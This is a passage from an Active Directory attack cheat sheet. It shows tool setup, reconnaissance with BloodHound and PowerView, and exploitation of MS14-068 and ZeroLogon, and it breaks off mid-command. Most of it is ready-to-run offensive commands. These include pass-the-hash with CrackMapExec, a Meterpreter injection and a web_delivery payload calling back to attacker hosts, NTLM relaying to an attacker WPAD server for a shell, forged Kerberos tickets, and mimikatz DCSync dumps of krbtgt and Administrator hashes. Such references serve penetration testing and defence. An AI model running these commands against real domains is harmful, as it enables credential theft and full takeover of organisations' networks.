# Active Directory Attacks

## Summary

- [Active Directory Attacks](#active-directory-attacks)
  - [Summary](#summary)
  - [Tools](#tools)
  - [Kerberos Clock Synchronization](#kerberos-clock-synchronization)
  - [Active Directory Recon](#active-directory-recon)
    - [Using BloodHound](#using-bloodhound)
    - [Using PowerView](#using-powerview)
    - [Using AD Module](#using-ad-module)
  - [From CVE to SYSTEM shell on DC](#from-cve-to-system-shell-on-dc)
    - [MS14-068 Checksum Validation](#ms14-068-checksum-validation)
    - [ZeroLogon](#zerologon)
    - [PrintNightmare](#printnightmare)
    - [samAccountName spoofing](#samaccountname-spoofing)
  - [Open Shares](#open-shares)
  - [SCF and URL file attack against writeable share](#scf-and-url-file-attack-against-writeable-share)
    - [SCF Files](#scf-files)
    - [URL Files](#url-files)
    - [Windows Library Files](#windows-library-files)
    - [Windows Search Connectors Files](#windows-search-connectors-files)
  - [Passwords in SYSVOL & Group Policy Preferences](#passwords-in-sysvol-&-group-policy-preferences)
  - [Exploit Group Policy Objects GPO](#exploit-group-policy-objects-gpo)
    - [Find vulnerable GPO](#find-vulnerable-gpo)
    - [Abuse GPO with SharpGPOAbuse](#abuse-gpo-with-sharpgpoabuse)
    - [Abuse GPO with PowerGPOAbuse](#abuse-gpo-with-powergpoabuse)
    - [Abuse GPO with pyGPOAbuse](#abuse-gpo-with-pygpoabuse)
    - [Abuse GPO with PowerView](#abuse-gpo-with-powerview)
    - [Abuse GPO with StandIn](#abuse-gpo-with-standin)
  - [Dumping AD Domain Credentials](#dumping-ad-domain-credentials)
    - [DCSync Attack](#dcsync-attack)
    - [Volume Shadow Copy](#volume-shadow-copy)
    - [Extract hashes from ntds.dit](#extract-hashes-from-ntdsdit)
    - [Using Mimikatz sekurlsa](#using-mimikatz-sekurlsa)
    - [Crack NTLM hashes with hashcat](#crack-ntlm-hashes-with-hashcat)
    - [NTDS Reversible Encryption](#ntds-reversible-encryption)
  - [User Hunting](#user-hunting)
  - [Password spraying](#password-spraying)
    - [Kerberos pre-auth bruteforcing](#kerberos-pre-auth-bruteforcing)
    - [Spray a pre-generated passwords list](#spray-a-pre-generated-passwords-list)
    - [Spray passwords against the RDP service](#spray-passwords-against-the-rdp-service)
    - [BadPwdCount attribute](#badpwdcount-attribute)
  - [Password in AD User comment](#password-in-ad-user-comment)
  - [Password of Pre-Created Computer Account](#password-of-pre-created-computer-account)
  - [Reading LAPS Password](#reading-laps-password)
  - [Reading GMSA Password](#reading-gmsa-password)
  - [Forging Golden GMSA](#forging-golden-gmsa)
  - [Kerberos Tickets](#kerberos-tickets)
    - [Dump Kerberos Tickets](#dump-kerberos-tickets)
    - [Replay Kerberos Tickets](#replay-kerberos-tickets)
    - [Convert Kerberos Tickets](#convert-kerberos-tickets)
    - [Pass-the-Ticket Golden Tickets](#pass-the-ticket-golden-tickets)
      - [Using Mimikatz](#using-mimikatz)
      - [Using Meterpreter](#using-meterpreter)
      - [Using a ticket on Linux](#using-a-ticket-on-linux)
    - [Pass-the-Ticket Silver Tickets](#pass-the-ticket-silver-tickets)
    - [Pass-the-Ticket Diamond Tickets](#pass-the-ticket-diamond-tickets)
    - [Pass-the-Ticket Sapphire Tickets](#pass-the-ticket-sapphire-tickets)
  - [Kerberoasting](#kerberoasting)
  - [KRB_AS_REP Roasting](#krb_as_rep-roasting)
  - [Kerberoasting w/o domain account](#kerberoasting-wo-domain-account)
  - [CVE-2022-33679](#cve-2022-33679)
  - [Timeroasting](#timeroasting)
  - [Pass-the-Hash](#pass-the-hash)
  - [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
    - [Using impacket](#using-impacket)
    - [Using Rubeus](#using-rubeus)
  - [Capturing and cracking Net-NTLMv1/NTLMv1 hashes](#capturing-and-cracking-net-ntlmv1ntlmv1-hashes)
  - [Capturing and cracking Net-NTLMv2/NTLMv2 hashes](#capturing-and-cracking-net-ntlmv2ntlmv2-hashes)
  - [Man-in-the-Middle attacks & relaying](#man-in-the-middle-attacks--relaying)
    - [MS08-068 NTLM reflection](#ms08-068-ntlm-reflection)
    - [LDAP signing not required and LDAP channel binding disabled](#ldap-signing-not-required-and-ldap-channel-binding-disabled)
    - [SMB Signing Disabled and IPv4](#smb-signing-disabled-and-ipv4)
    - [SMB Signing Disabled and IPv6](#smb-signing-disabled-and-ipv6)
    - [Drop the MIC](#drop-the-mic)
    - [Ghost Potato - CVE-2019-1384](#ghost-potato---cve-2019-1384)
    - [RemotePotato0 DCOM DCE RPC relay](#remotepotato0-dcom-dce-rpc-relay)
    - [DNS Poisonning - Relay delegation with mitm6](#dns-poisonning---relay-delegation-with-mitm6)
    - [Relaying with WebDav Trick](#relaying-with-webdav-trick)
  - [Active Directory Certificate Services](#active-directory-certificate-services)
    - [ESC1 - Misconfigured Certificate Templates](#esc1---misconfigured-certificate-templates)
    - [ESC2 - Misconfigured Certificate Templates](#esc2---misconfigured-certificate-templates)
    - [ESC3 - Misconfigured Enrollment Agent Templates](#esc3---misconfigured-enrollment-agent-templates)
    - [ESC4 - Access Control Vulnerabilities](#esc4---access-control-vulnerabilities)
    - [ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 ](#esc6---editf_attributesubjectaltname2)
    - [ESC7 - Vulnerable Certificate Authority Access Control](#esc7---vulnerable-certificate-authority-access-control)
    - [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
    - [ESC9 - No Security Extension](#esc9---no-security-extension)
    - [ESC11 - Relaying NTLM to ICPR](#esc11---relaying-ntlm-to-icpr)
    - [Certifried CVE-2022-26923](#certifried-cve-2022-26923)
    - [Pass-The-Certificate](#pass-the-certificate)
  - [UnPAC The Hash](#unpac-the-hash)
  - [Shadow Credentials](#shadow-credentials)
  - [Active Directory Groups](#active-directory-groups)
    - [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
    - [Abusing DNS Admins Group](#abusing-dns-admins-group)
    - [Abusing Schema Admins Group](#abusing-schema-admins-group)
    - [Abusing Backup Operators Group](#abusing-backup-operators-group)
  - [Active Directory Federation Services](#active-directory-federation-services)
    - [ADFS - Golden SAML](#adfs---golden-saml)
  - [Active Directory Integrated DNS](#active-directory-integrated-dns)
  - [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
    - [GenericAll](#genericall)
    - [GenericWrite](#genericwrite)
      - [GenericWrite and Remote Connection Manager](#genericwrite-and-remote-connection-manager)
    - [WriteDACL](#writedacl)
    - [WriteOwner](#writeowner)
    - [ReadLAPSPassword](#readlapspassword)
    - [ReadGMSAPassword](#readgmsapassword)
    - [ForceChangePassword](#forcechangepassword)
  - [DCOM Exploitation](#dcom-exploitation)
    - [DCOM via MMC Application Class](#dcom-via-mmc-application-class) 
    - [DCOM via Excel](#dcom-via-excel)
    - [DCOM via ShellExecute](#dcom-via-shellexecute)
  - [Trust relationship between domains](#trust-relationship-between-domains)
  - [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking)
  - [Forest to Forest Compromise - Trust Ticket](#forest-to-forest-compromise---trust-ticket)
  - [Privileged Access Management (PAM) Trust](#privileged-access-management-pam-trust)
  - [Kerberos Unconstrained Delegation](#kerberos-unconstrained-delegation)
    - [SpoolService Abuse with Unconstrained Delegation](#spoolservice-abuse-with-unconstrained-delegation)
    - [MS-EFSRPC Abuse with Unconstrained Delegation](#ms---efsrpc-abuse-with-unconstrained-delegation)
  - [Kerberos Constrained Delegation](#kerberos-constrained-delegation)
  - [Kerberos Resource Based Constrained Delegation](#kerberos-resource-based-constrained-delegation)
  - [Kerberos Service for User Extension](#kerberos-service-for-user-extension)
    - [S4U2self - Privilege Escalation](#s4u2self---privilege-escalation)
  - [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049)
  - [PrivExchange attack](#privexchange-attack)
  - [SCCM Deployment](#sccm-deployment)
  - [SCCM Network Access Accounts](#sccm-network-access-accounts)
  - [SCCM Shares](#sccm-shares)
  - [WSUS Deployment](#wsus-deployment)
  - [RODC - Read Only Domain Controller](#rodc---read-only-domain-controller)
    - [RODC Golden Ticket](#rodc-golden-ticket)
    - [RODC Key List Attack](#rodc-key-list-attack)
    - [RODC Computer Object](#rodc-computer-object)
  - [PXE Boot image attack](#pxe-boot-image-attack)
  - [DSRM Credentials](#dsrm-credentials)
  - [DNS Reconnaissance](#dns-reconnaissance)
  - [Linux Active Directory](#linux-active-directory)
    - [CCACHE ticket reuse from /tmp](#ccache-ticket-reuse-from-tmp)
    - [CCACHE ticket reuse from keyring](#ccache-ticket-reuse-from-keyring)
    - [CCACHE ticket reuse from SSSD KCM](#ccache-ticket-reuse-from-sssd-kcm)
    - [CCACHE ticket reuse from keytab](#ccache-ticket-reuse-from-keytab)
    - [Extract accounts from /etc/krb5.keytab](#extract-accounts-from-etckrb5keytab)
    - [Extract accounts from /etc/sssd/sssd.conf](#extract-accounts-from-etcsssdsssdconf)
  - [References](#references)

## Tools

* [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows)
* [Responder](https://github.com/lgandx/Responder)
* [InveighZero](https://github.com/Kevin-Robertson/InveighZero)
* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
* [Ranger](https://github.com/funkandwagnalls/ranger)
* [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
* [CrackMapExec](https://github.com/mpgn/CrackMapExec)

  ```powershell
  # use the latest release, CME is now a binary packaged will all its dependencies
  root@payload$ wget https://github.com/mpgn/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip

  # execute cme (smb, winrm, mssql, ...)
  root@payload$ cme smb -L
  root@payload$ cme smb -M name_module -o VAR=DATA
  root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
  root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
  root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
  root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
  root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
  root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
  root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
  root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
  root@payload$ cme mimikatz --server http --server-port 80
  ```

* [Mitm6](https://github.com/fox-it/mitm6.git)

  ```bash
  git clone https://github.com/fox-it/mitm6.git && cd mitm6
  pip install .
  mitm6 -d lab.local
  ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
  # -wh: Server hosting WPAD file (Attacker’s IP)
  # -t: Target (You cannot relay credentials to the same device that you’re spoofing)
  # -i: open an interactive shell
  ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access
  ```

* [ADRecon](https://github.com/sense-of-security/ADRecon)

  ```powershell
  .\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser
  ```

* [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script)

    ```powershell
    powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 
    ```

* [Ping Castle](https://github.com/vletoux/pingcastle)

    ```powershell
    pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
    pingcastle.exe --healthcheck --server domain.local
    pingcastle.exe --graph --server domain.local
    pingcastle.exe --scanner scanner_name --server domain.local
    available scanners are:aclcheck,antivirus,computerversion,foreignusers,laps_bitlocker,localadmin,nullsession,nullsession-trust,oxidbindings,remote,share,smb,smb3querynetwork,spooler,startup,zerologon,computers,users
    ```

* [Kerbrute](https://github.com/ropnop/kerbrute)

    ```powershell
    ./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
    ```

* [Rubeus](https://github.com/GhostPack/Rubeus)

    ```powershell
    Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
    Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
    Rubeus.exe klist [/luid:LOGINID]
    Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
    ```

* [AutomatedLab](https://github.com/AutomatedLab/AutomatedLab)
    ```powershell
    New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
    Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD'
    Install-Lab
    Show-LabDeploymentSummary
    ```


## Kerberos Clock Synchronization

In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is `5 minutes`, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.


* Detect clock skew automatically with `nmap`
  ```powershell
  $ nmap -sV -sC 10.10.10.10
  clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
  ```
* Compute yourself the difference between the clocks
  ```ps1
  nmap -sT 10.10.10.10 -p445 --script smb2-time -vv
  ```
* Fix #1: Modify your clock
  ```ps1
  sudo date -s "14 APR 2015 18:25:16" # Linux
  net time /domain /set # Windows
  ```
* Fix #2: Fake your clock
  ```ps1
  faketime -f '+8h' date
  ```


## Active Directory Recon

### Using BloodHound

Use the correct collector
* AzureHound for Azure Active Directory
* SharpHound for local Active Directory
* RustHound for local Active Directory

* use [BloodHoundAD/AzureHound](https://github.com/BloodHoundAD/AzureHound) (more info: [Cloud - Azure Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md#azure-recon-tools))

* use [BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
  ```powershell
  # run the collector on the machine using SharpHound.exe
  # https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
  # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
  .\SharpHound.exe -c all -d active.htb --searchforest
  .\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default
  .\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers (more stealthy)

  .\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
  .\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100 -d active.htb
  .\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23

  # or run the collector on the machine using Powershell
  # https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
  # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
  Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
  Invoke-BloodHound -CollectionMethod All  -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>

  # or remotely via BloodHound Python
  # https://github.com/fox-it/BloodHound.py
  pip install bloodhound
  bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
  
  # or locally/remotely from an ADExplorer snapshot from SysInternals (ADExplorer remains a legitimate binary signed by Microsoft, avoiding detection with security solutions)
  # https://github.com/c3c/ADExplorerSnapshot.py
  pip3 install --user .
  ADExplorerSnapshot.py <snapshot path> -o <*.json output folder path>
  ```
* Collect more data for certificates exploitation using Certipy
  ```ps1
  certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound
  certipy find 'corp.local/john:Passw0rd@dc.corp.local' -old-bloodhound
  certipy find 'corp.local/john:Passw0rd@dc.corp.local' -vulnerable -hide-admins -username user@domain -password Password123
  ```
* use [OPENCYBER-FR/RustHound](https://github.com/OPENCYBER-FR/RustHound)
  ```ps1
  # Windows with GSSAPI session
  rusthound.exe -d domain.local --ldapfqdn domain
  # Windows/Linux simple bind connection username:password
  rusthound.exe -d domain.local -u user@domain.local -p Password123 -o output -z
  # Linux with username:password and ADCS module for @ly4k BloodHound version
  rusthound -d domain.local -u 'user@domain.local' -p 'Password123' -o /tmp/adcs --adcs -z
  ```

Then import the zip/json files into the Neo4J database and query them.

```powershell
root@payload$ apt install bloodhound 

# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/bloodhound -v $(pwd)/neo4j:/data neo4j:4.4-community

root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
```

You can add some custom queries like :
* [Bloodhound-Custom-Queries from @hausec](https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json)
* [BloodHoundQueries from CompassSecurity](https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json)
* [BloodHound Custom Queries from Exegol - @ShutdownRepo](https://raw.githubusercontent.com/ShutdownRepo/Exegol/master/sources/bloodhound/customqueries.json)
* [Certipy BloodHound Custom Queries from ly4k](https://github.com/ly4k/Certipy/blob/main/customqueries.json)

Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json`.


### Using PowerView
  
- **Get Current Domain:** `Get-NetDomain`
- **Enum Other Domains:** `Get-NetDomain -Domain <DomainName>`
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Policy:** 
  ```powershell
  Get-DomainPolicy

  #Will show us the policy configurations of the Domain about system access or kerberos
  (Get-DomainPolicy)."system access"
  (Get-DomainPolicy)."kerberos policy"
  ```
- **Get Domain Controlers:** 
  ```powershell
  Get-NetDomainController
  Get-NetDomainController -Domain <DomainName>
  ```
- **Enumerate Domain Users:** 
  ```powershell
  Get-NetUser
  Get-NetUser -SamAccountName <user> 
  Get-NetUser | select cn
  Get-UserProperty

  #Check last password change
  Get-UserProperty -Properties pwdlastset

  #Get a specific "string" on a user's attribute
  Find-UserField -SearchField Description -SearchTerm "wtver"
  
  #Enumerate user logged on a machine
  Get-NetLoggedon -ComputerName <ComputerName>
  
  #Enumerate Session Information for a machine
  Get-NetSession -ComputerName <ComputerName>
  
  #Enumerate domain machines of the current/specified domain where specific users are logged into
  Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
  ```
- **Enum Domain Computers:** 
  ```powershell
  Get-NetComputer -FullData
  Get-DomainGroup

  #Enumerate Live machines 
  Get-NetComputer -Ping
  ```
- **Enum Groups and Group Members:**
  ```powershell
  Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>
  
  #Enumerate the members of a specified group of the domain
  Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member
  
  #Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
  Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
  ```
- **Enumerate Shares**
  ```powershell
  #Enumerate Domain Shares
  Find-DomainShare
  
  #Enumerate Domain Shares the current user has access
  Find-DomainShare -CheckShareAccess
  ```
- **Enum Group Policies:** 
  ```powershell
  Get-NetGPO

  # Shows active Policy on specified machine
  Get-NetGPO -ComputerName <Name of the PC>
  Get-NetGPOGroup

  #Get users that are part of a Machine's local Admin group
  Find-GPOComputerAdmin -ComputerName <ComputerName>
  ```
- **Enum OUs:** 
  ```powershell
  Get-NetOU -FullData 
  Get-NetGPO -GPOname <The GUID of the GPO>
  ```
- **Enum ACLs:** 
  ```powershell
  # Returns the ACLs associated with the specified account
  Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
  Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose

  #Search for interesting ACEs
  Invoke-ACLScanner -ResolveGUIDs

  #Check the ACLs associated with a specified path (e.g smb share)
  Get-PathAcl -Path "\\Path\Of\A\Share"
  ```
- **Enum Domain Trust:** 
  ```powershell
  Get-NetDomainTrust
  Get-NetDomainTrust -Domain <DomainName>
  ```
- **Enum Forest Trust:** 
  ```powershell
  Get-NetForestDomain
  Get-NetForestDomain Forest <ForestName>

  #Domains of Forest Enumeration
  Get-NetForestDomain
  Get-NetForestDomain Forest <ForestName>

  #Map the Trust of the Forest
  Get-NetForestTrust
  Get-NetDomainTrust -Forest <ForestName>
  ```
- **User Hunting:** 
  ```powershell
  #Finds all machines on the current domain where the current user has local admin access
  Find-LocalAdminAccess -Verbose

  #Find local admins on all machines of the domain:
  Invoke-EnumerateLocalAdmin -Verbose

  #Find computers were a Domain Admin OR a specified user has a session
  Invoke-UserHunter
  Invoke-UserHunter -GroupName "RDPUsers"
  Invoke-UserHunter -Stealth

  #Confirming admin access:
  Invoke-UserHunter -CheckAccess
  ```
  :heavy_exclamation_mark: **Priv Esc to Domain Admin with User Hunting:** \
  I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him ->   
  Profit!

  [PowerView 3.0 Tricks](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)

### Using AD Module

- **Get Current Domain:** `Get-ADDomain`
- **Enum Other Domains:** `Get-ADDomain -Identity <Domain>`
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Controlers:** 

  ```powershell
  Get-ADDomainController
  Get-ADDomainController -Identity <DomainName>
  ```
  
- **Enumerate Domain Users:** 
  ```powershell
  Get-ADUser -Filter * -Identity <user> -Properties *

  #Get a specific "string" on a user's attribute
  Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
  ```
- **Enum Domain Computers:** 
  ```powershell
  Get-ADComputer -Filter * -Properties *
  Get-ADGroup -Filter * 
  ```
- **Enum Domain Trust:** 
  ```powershell
  Get-ADTrust -Filter *
  Get-ADTrust -Identity <DomainName>
  ```
- **Enum Forest Trust:** 
  ```powershell
  Get-ADForest
  Get-ADForest -Identity <ForestName>

  #Domains of Forest Enumeration
  (Get-ADForest).Domains
  ```
 - **Enum Local AppLocker Effective Policy:**
 ```powershell
 Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
 ```

### Other Interesting Commands

- **Find Domain Controllers**
  ```ps1
  nslookup domain.com
  nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>.com
  nltest /dclist:domain.com
  Get-ADDomainController -filter * | Select-Object name
  gpresult /r
  $Env:LOGONSERVER 
  echo %LOGONSERVER%
  ```


## From CVE to SYSTEM shell on DC

> Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in [Windows - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)


### MS14-068 Checksum Validation

This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.

* RPCClient
  ```powershell
  rpcclient $> lookupnames john.smith
  john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
  ```
* WMI
  ```powershell
  wmic useraccount get name,sid
  Administrator  S-1-5-21-3415849876-833628785-5197346142-500   
  Guest          S-1-5-21-3415849876-833628785-5197346142-501   
  Administrator  S-1-5-21-297520375-2634728305-5197346142-500   
  Guest          S-1-5-21-297520375-2634728305-5197346142-501   
  krbtgt         S-1-5-21-297520375-2634728305-5197346142-502   
  lambda         S-1-5-21-297520375-2634728305-5197346142-1110 
  ```
* Powerview
  ```powershell
  Convert-NameToSid high-sec-corp.localkrbtgt
  S-1-5-21-2941561648-383941485-1389968811-502
  ```
* CrackMapExec: `crackmapexec ldap DC1.lab.local -u username -p password -k --get-sid`  

```bash
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
```

Generate a ticket with `metasploit` or `pykek`

```powershell
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS    10.10.10.10                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
```

```powershell
# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
$ git clone https://github.com/SecWiki/windows-kernel-exploits
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
-1105
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
```

Then use `mimikatz` to load the ticket.

```powershell
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```


#### Mitigations

* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780


### ZeroLogon

> CVE-2020-1472

White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055

Exploit steps from the white paper

1. Spoofing the client credential
2. Disabling signing and sealing
3. Spoofing a call
4. Changing a computer's AD password to null
5. From password change to domain admin
6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service

* `cve-2020-1472-exploit.py` - Python script from [dirkjanm](https://github.com/dirkjanm)
  ```powershell
	# Check (https://github.com/SecuraBV/CVE-2020-1472)
	proxychains python3 zerologon_tester.py DC01 172.16.1.5
	
  $ git clone https://github.com/dirkjanm/CVE-2020-1472.git

  # Activate a virtual env to install impacket
  $ python3 -m venv venv
  $ source venv/bin/activate
  $ pip3 install .
	
  # Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
  proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5

  # Find the old NT hash of the DC
  proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'

  # Restore password from secretsdump 
  # secretsdump will automatically dump the plaintext machine password (hex encoded) 
  # when dumping the local registry secrets on the newest version
  python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
  deactivate
  ```

* `nccfsas` - .NET binary for Cobalt Strike's execute-assembly
  ```powershell
  git clone https://github.com/nccgroup/nccfsas
  # Check
  execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local

  # Resetting the machine account password
  execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset

  # Testing from a non Domain-joined machine
  execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch

  # Now reset the password back
  ```

* `Mimikatz` - 2.2.0 20200917 Post-Zerologon
  ```powershell
  privilege::debug
  # Check for the CVE
  lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$

  # Exploit the CVE and set the computer account's password to ""
  lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit

  # Execute dcsync to extract some hashes
  lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
  lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm

  # Pass The Hash with the extracted Domain Admin hash
  sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN

  # Use IP address instead of FQDN to force NTLM with Windows APIs 
  # Reset password to Waza1234/Waza1234/Waza1234/
  # https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
  lsadump::postzerologon /target:10.10.10.10 /account:DC01$
  ```

* `CrackMapExec` - only check
  ```powershell
